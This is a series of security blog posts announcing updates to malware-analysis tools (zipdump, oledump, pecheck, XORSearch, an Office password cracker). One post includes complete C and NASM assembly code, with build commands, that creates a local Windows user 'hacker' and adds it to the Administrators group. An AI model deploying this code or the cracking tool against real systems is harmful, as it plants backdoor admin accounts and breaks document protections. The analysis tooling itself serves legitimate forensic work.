This new version of xmldump.py, a tool to analyze XML files, has a new command to extract cells from an .xlsx/.xlsm spreadsheet: celltext.
And also an option to provide the encoding of input files, like utf8 (Python 3.7 and later): –encoding.
xmldump_V0_0_6.zip (https)
MD5: 74BE27A8F45F1814341DCB7AEF6AE8BC
SHA256: 1767C27D9907FDDF88015D938EFF47782C06547CEEF0493F67D85FF4A06656DA
With version 0.0.16 (we are now at version 0.0.18), I updated my zipdump.py tool to handle (deliberately) malformed ZIP files. My zipdump tool uses Python’s ZIP module to analyze ZIP files.
Now, zipdump has a an option (-f) to scan arbitrary binary files for ZIP records.
I will show here how this feature can be used, by analyzing a sample Xavier Mertens wrote a diary entry about. This sample is a Word document with macros, an OOXML (Office Open XML format) file (.docm). It is malformed, because 1) there’s an extra byte at the beginning and 2) there’s a byte missing at the end.
When you use my zipdump tool to look at the file, you get an error:
Using option -f l (list), we can find all PKZIP records inside arbitrary, binary files:
When using option -f with value l, a listing will be created of all PKZIP records found in the file, plus extra data. Some of these entries in this report will have an index, that can be used to select the entry.
In this example, 2 entries can be selected:
p: extra bytes at the beginning of the file (prefix)
1: an end-of-central-directory record (PK0506 end)
Using option -f p, we can select the prefix (extra data at the beginning of the file) for further analysis:
And from this hex/ascii dump, we learn that there is one extra byte at the beginning of the ZIP file, and that it is a newline characters (0x0A).
Using option -f 1, we can select the EOCD record to analyze the ZIP file:
As this generates an error, we need to take a closer look at the EOCD record by adding option -i (info):
With this info, we understand that the missing byte makes that the comment length field is one byte short, and this causes the error seen in previous image.
ZIP files can contain comments (for the ZIP container, and also for individual files): these are stored at the end of the PKZIP records, preceded by a 2-byte long, little-endian integer. This integer is the length of the comment. If there is no comment, this integer is zero (0x00).
Hence, the byte we are missing here is a NULL (0x00) byte. We can append a NULL byte to the sample, and then we should be able to analyze the ZIP file. In stead of modifying the sample, I use my tool cut-bytes.py to add a single NULL byte to the file (suffix option: -s #h#00) and then pipe this into zipdump:
File 5 (vbaProject.bin) contains the VBA macros, and can be piped into oledump.py:
I also created a video:
zipdump_v0_0_18.zip (https)
MD5: 34DC469E8CD4E5D3E9520517DEFED888
SHA256: 270B26217755D7ECBCB6D642FBB349856FAA1AE668DB37D8D106B37D062FADBB
This new version op zipdump.py adds option -i (info), to be used to obtain more info on PKZIP records.
Example:
In next blog post, I’ll explain how to use zipdump to analyze malformed ZIP files.
zipdump_v0_0_18.zip (https)
MD5: 34DC469E8CD4E5D3E9520517DEFED888
SHA256: 270B26217755D7ECBCB6D642FBB349856FAA1AE668DB37D8D106B37D062FADBB
This version includes a couple of bug fixes.
zipdump_v0_0_17.zip (https)
MD5: E61843BC5B42F4129A4664CD0A5FF93C
SHA256: 72C8AA31F143575E7F77027A7C186484E810F8E400285B6D3785C33C0408F4BF
A small change in this new version of XORSearch: option -n now also takes a negative value (output characters left of keyword) or an explicit positive value (output characters right of keyword).
XORSearch_V1_11_3.zip (https)
MD5: 39A5799EC4C77E894A56B215A7E20409
SHA256: 50D1CDF5FE93E29E1D7FCB3CF2256CEAC0034CBD887E4DAC1CB897E14B28BC16
This new version of msoffcrypto-crack.py, a tool to crack encrypted MS Office documents, comes with a new option to generated a password dictionary based on the filename of the document.
Option -p allows the user to provide a dictionary file. Use value #f to generate a dictionary based on the filename: This will generate a dictionary of all possible substrings of the filename.
I had to analyze an encrypted spreadsheet yesterday, and the password was in the name, like this:
msoffcrypto-crack_V0_0_5.zip (https)
MD5: 1514DA367DCFF7051AB117266CE65BD3
SHA256: FEEFDD89134083EA19936494C8FCBD05804B3B9C0D4C5FBAFE06578D466B50AE
This new version of oledump comes with an update to plugin_biff by @JohnLaTwC to improve formula parsing.
oledump_V0_0_49.zip (https)
MD5: 1EF0B466A80C034F10770F8A235EBE7B
SHA256: BD8CAD9EDB99B6063A9A36B8B83EB3416484CEC244A01CA2F08BB032402FF147
I added a feature to my tool pecheck.py to help extract embedded PE files from any host file: -l –locate.
pecheck.py expects a PE file as input, but if you use option -l P, it will read any file an look for embedded PE files by searching for a DOS header (MZ) followed by a PE header, that can then be parsed by pefile without errors.
Like in this example, where I created a PNG file with a 32-bit and a 64-bit DLL appended:
One PE file can then be selected for further analysis:
Or for extraction:
Here is a video with more details:
A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).
I could find a program in my repository, but it was a very old program using system commands.
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
system("net user hack knock /add");
system("net localgroup administrators hack /add");
return 0;
}
; Assembly code to add a new local user and make it member of Administrators group ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens ; https://DidierStevens.com ; Use at your own risk ; ; Build: ; nasm -f win32 add-admin.asm ; Microsoft linker: ; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib ; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/ ; /fixed -> no relocation section ; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section ; /filealign:256 -> smaller, but no valid exe ; MinGW linker: ; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32 ; ; History: ; 2020/03/13 ; 2020/03/14 refactor ; 2020/03/15 refactor BITS 32 %define USERNAME 'hacker' %define PASSWORD 'P@ssw0rd' %define ADMINISTRATORS 'administrators' global _main extern _NetUserAdd@16 extern _NetLocalGroupAddMembers@20 extern _ExitProcess@4 struc USER_INFO_1 .uName RESD 1 .Password RESD 1 .PasswordAge RESD 1 .Privilege RESD 1 .HomeDir RESD 1 .Comment RESD 1 .Flags RESD 1 .ScriptPath RESD 1 endstruc struc LOCALGROUP_MEMBERS_INFO_3 .lgrmi3_domainandname RESD 1 endstruc USER_PRIV_USER EQU 1 UF_SCRIPT EQU 1 section .text _main: mov ebp, esp sub esp, 4 ; NetUserAdd(NULL, level=1, buffer, NULL) lea eax, [ebp-4] push eax push UI1 push 1 push 0 call _NetUserAdd@16 ; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1) push 1 push LMI3 push 3 push ADMINISTRATORS_UNICODE push 0 call _NetLocalGroupAddMembers@20 ; ExitProcess(0) push 0 call _ExitProcess@4 ; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section) ; section .data UI1: istruc USER_INFO_1 at USER_INFO_1.uName, dd USERNAME_UNICODE at USER_INFO_1.Password, dd PASSWORD_UNICODE at USER_INFO_1.PasswordAge, dd 0 at USER_INFO_1.Privilege, dd USER_PRIV_USER at USER_INFO_1.HomeDir, dd 0 at USER_INFO_1.Comment, dd 0 at USER_INFO_1.Flags, dd UF_SCRIPT at USER_INFO_1.ScriptPath, dd 0 iend USERNAME_UNICODE: db __utf16le__(USERNAME), 0, 0 PASSWORD_UNICODE: db __utf16le__(PASSWORD), 0, 0 ADMINISTRATORS_UNICODE: db __utf16le__(ADMINISTRATORS), 0, 0 LMI3: istruc LOCALGROUP_MEMBERS_INFO_3 at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE iend
To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):
nasm -f win32 add-admin.asm
Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.
MS:
link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.
MinGW:
ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32
In both cases, the EXE is 1536 bytes long.
In this new version of pecheck.py, a tool to analyze PE files, overlay offset calculations are improved when a digital signature is present, and the output has changed slightly:
No TLS data:
TLS data present, but no callbacks:
One TLS callback:
pecheck-v0_7_10.zip (https)
MD5: D0C4332B1BD231AA131FBCDCD3BBBA33
SHA256: 0E57A50590D59321CCD0BECE0936CF9523668F86516F56F5B2A21B9DCA9B4788
Didier Stevens 